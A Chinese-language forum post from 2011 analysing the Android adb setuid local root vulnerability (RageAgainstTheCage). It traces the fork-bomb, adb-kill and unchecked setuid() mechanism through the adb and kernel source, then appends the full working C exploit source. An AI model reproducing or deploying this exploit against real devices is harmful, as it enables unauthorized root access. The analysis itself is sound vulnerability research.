Android adb setuid提权漏洞的分析

作 者: Claud
时 间: 2011-07-07,13:03:41

链 接: http://bbs.pediy.com/showthread.php?t=136707

去年的Android adb setuid提权漏洞被用于各类root刷机，漏洞发现人 Sebastian Krahmer公布的利用工具RageAgainstTheCage（rageagainstthecage-arm5.bin）被用于z4root等提权工具、Trojan.Android.Rootcager等恶意代码之中。下面我们来分析这一漏洞的产生原因。

The Android Exploid Crew小组在后来发布了一份PoC代码： rageagainstthecage.c。从这份代码开始着手。

在main(:72)函数中，首先获取了RLIMIT_NPROC的值(:83)，这个值是Linux内核中定义的每个用户可以运行的最大进程数。

然后，调用find_adb()函数(:94)来搜索Android系统中adb进程的PID，具体而言，该函数读取每个进程对应的文件的/proc/<pid>/cmdline，根据其是否等于”/sbin/adb”来判断是否adb进程。

接下来，fork了一个新的进程(:109)，父进程退出，而子进程继续。接下来，在113行创建一个管道。

rageagainstthecage.c

代码:

if (fork() > 0)
    exit(0);
 
setsid();
pipe(pepe);

重头戏发生在下面的122到138行，代码如下：

rageagainstthecage.c

代码:

if (fork() == 0) {
    close(pepe[0]);
    for (;;) {
        if ((p = fork()) == 0) {
            exit(0);
        } else if (p < 0) {
            if (new_pids) {
                printf("\n[+] Forked %d childs.\n", pids);
                new_pids = 0;
                write(pepe[1], &c, 1);
                close(pepe[1]);
            }
        } else {
            ++pids;
        }
    }
}

新建一个进程后，在子进程之中，exploit代码不断地fork()(:125)，而新的子进程不断退出，从而产生大量的僵尸进程（占据shell用户的进程数）。最终，进程数达到上限，fork()返回小于0，于是打印当前已经创建多少子进程，并向管道输入一个字符（:131）。

在这里，管道的作用是和(:122)fork出来的父进程同步，该进程在141行read这一管道，因而阻塞直至僵尸进程已经达到上限(:131)。

进一步的，exploit杀掉adb进程，并在系统检测到这一现象并重启一个adb之前，再一次fork()，将前一个adb留下的进程空位占据。最后，在152行，exploit调用wait_for_root_adb()，等待系统重启一个adb，这个新建的adb就会具有root权限。

为什么在shell用户的进程数达到上限RLIMIT_NPROC以后，新建的adb会具有root权限？我们来看adb的源码。

在<android_src>/system/core/adb/adb.c的第918行，我们可以看到如下代码：

android_src/system/core/adb/adb.c

代码:

/* then switch user and group to "shell" */
if (setgid(AID_SHELL) != 0) {
    exit(1);
}
if (setuid(AID_SHELL) != 0) {
    exit(1);
}

这已经是漏洞修补以后的代码。在漏洞最初被发现时，代码如下：

android_src/system/core/adb/adb.c

代码:

/* then switch user and group to "shell" */
setgid(AID_SHELL);
setuid(AID_SHELL);

简而言之，原来没有检查setuid()函数的返回值。事实上，在此之前，adb.c中的代码都是以root权限运行，以完成部分初始化工作。在这一行，通过调用setuid()将用户从root切换回shell，但setuid()在shell用户进程数达到上限RLIMIT_NPROC时，会失败，因此adb.c继续以root身份运行，而没有报错。

我们来看setuid()的man手册（man 2 setuid），其中有如下说明：

man 2 setuid

代码:

RETURN VALUE
       On  success,  zero is returned.  On error, -1 is returned, and errno is
       set appropriately.
 
ERRORS
       EAGAIN The uid does not match the current uid and  uid  brings  process
       over its RLIMIT_NPROC resource limit.

可以看到，setuid是可能发生错误的，并且在uid的进程数超过RLIMIT_NPROC极限时，发生EAGAIN错误。

在android的源码中，setuid()定义于<android_src>/bionic/libc/unistd/setuid.c，实际上引用了一个外部符号__setuid，这个符号在<android_src>/bionic/libc/arch_xxx/syscalls/__setuid.S中定义，最终是一个%eax=$__NR_setuid32，%ebx=uid的int 0×80中断。

因为只是要分析原理，我们不再鏖战于Android，转而看向Linux内核。

在最新的kernel2.6中，setuid()位于kernel/sys.c的682行，其中，在697行，一切正常的情况下，它会调用set_user()来完成用户切换。

set_user()实现于同一文件的587行，其中一部分代码如下：

kernel/sys.c

代码:

if (atomic_read(&new_user->processes) >= rlimit(RLIMIT_NPROC) &&
        new_user != INIT_USER) {
    free_uid(new_user);
    return -EAGAIN;
}

含义很明显，当目标用户的进程数达到上限，那系统就不能再将一个进程分配给它，因而返回-EAGEIN。然后再setuid()中，直接跳过后面的代码，而返回错误。

至此，整个漏洞的原理已经分析完毕。整理如下：

1、在Android的shell用户下，制造大量的僵尸进程，直至达到shell用户的进程数上限RLIMIT_NPROC；

2、kill当前系统中的adb进程，并再次占据其进程位置以保持达到上限；

3、系统会在一段时间后重启一个adb进程，该进程最初是root用户，在完成少许初始化工作后，调用setuid()切换至shell用户；

4、此时shell用户的进程数已经达到上限，所以setuid()失败，返回-1，并且用户更换没有完成，adb还是root权限；

5、adb没有检查setuid()的返回值，继续后续的工作，因此产生了一个具有root权限的adb进程，可以被用于与用户的下一步交互。

实际上，setuid在目标用户进程数达到RLIMIT_NPROC极限时返回错误，这一问题可能产生的安全隐患最早可以追溯到 2000年。而在2006年，出现了真正利用这一编码问题的漏洞（ CVE-2006-2607）。

因此，这并不是一个全新的漏洞。我们可以得出几点结论：

1、函数返回值一直是忽略的对象，因为getuid()永远不会失败，程序员可能会认为setuid()也不会失败——至少没有遇到过，因此忽略了对返回值的检查。检查一个系统函数是否调用失败是一个常识，但又是很麻烦的事，如果为了省事而忽略，问题就可能产生了。

2、Android下的安全问题，很多并非全新的，而且个人判断将来还会有大量漏洞、恶意代码产生于传统思路，而作用于新的平台。面对这一新的平台，我们是否能抢先于攻击者做好防范准备，是一个需要我们思考和实践的问题。

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附rageagainstthecage.c源代码

/* android 1.x/2.x adb setuid() root exploit
 * (C) 2010 The Android Exploid Crew
 *
 * Needs to be executed via adb -d shell. It may take a while until
 * all process slots are filled and the adb connection is reset.
 *
 * !!!This is PoC code for educational purposes only!!!
 * If you run it, it might crash your device and make it unusable!
 * So you use it at your own risk!
 */
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>


void die(const char *msg)
{
	perror(msg);
	exit(errno);
}

pid_t find_adb()
{
	char buf[256];
	int i = 0, fd = 0;
	pid_t found = 0;

	for (i = 0; i < 32000; ++i) {
		sprintf(buf, "/proc/%d/cmdline", i);
		if ((fd = open(buf, O_RDONLY)) < 0)
			continue;
		memset(buf, 0, sizeof(buf));
		read(fd, buf, sizeof(buf) - 1);
		close(fd);
		if (strstr(buf, "/sbin/adb")) {
			found = i;
			break;
		}
        }
        return found;
}


void restart_adb(pid_t pid)
{
	kill(pid, 9);
}


void wait_for_root_adb(pid_t old_adb)
{
	pid_t p = 0;

	for (;;) {
		p = find_adb();
		if (p != 0 && p != old_adb)
			break;
		sleep(1);
	}
	sleep(5);
	kill(-1, 9);
}


int main(int argc, char **argv)
{
	pid_t adb_pid = 0, p;
	int pids = 0, new_pids = 1;
	int pepe[2];
	char c = 0;
	struct rlimit rl;

	printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
	printf("[*] checking NPROC limit ...\n");

	if (getrlimit(RLIMIT_NPROC, &rl) < 0)
		die("[-] getrlimit");

	if (rl.rlim_cur == RLIM_INFINITY) {
		printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
		exit(1);
	}

	printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
	printf("[*] Searching for adb ...\n");

	adb_pid = find_adb();

	if (!adb_pid)
		die("[-] Cannot find adb");

	printf("[+] Found adb as PID %d\n", adb_pid);
	printf("[*] Spawning children. Dont type anything and wait for reset!\n");
	printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"
	       "[*] [email protected] so we can compensate time, effort and HW costs.\n"
	       "[*] If you are a company and feel like you profit from our work,\n"
	       "[*] we also accept donations > 1000 USD!\n");
	printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");

	sleep(5);

	if (fork() > 0)
		exit(0);

	setsid();
	pipe(pepe);

	/* generate many (zombie) shell-user processes so restarting
	 * adb's setuid() will fail.
	 * The whole thing is a bit racy, since when we kill adb
	 * there is one more process slot left which we need to
	 * fill before adb reaches setuid(). Thats why we fork-bomb
	 * in a seprate process.
	 */
	if (fork() == 0) {
		close(pepe[0]);
		for (;;) {
			if ((p = fork()) == 0) {
				exit(0);
			} else if (p < 0) {
				if (new_pids) {
					printf("\n[+] Forked %d childs.\n", pids);
					new_pids = 0;
					write(pepe[1], &c, 1);
					close(pepe[1]);
				}
			} else {
				++pids;
			}
		}
	}

	close(pepe[1]);
	read(pepe[0], &c, 1);


	restart_adb(adb_pid);

	if (fork() == 0) {
		fork();
		for (;;)
			sleep(0x743C);
	}

	wait_for_root_adb(adb_pid);
	return 0;
}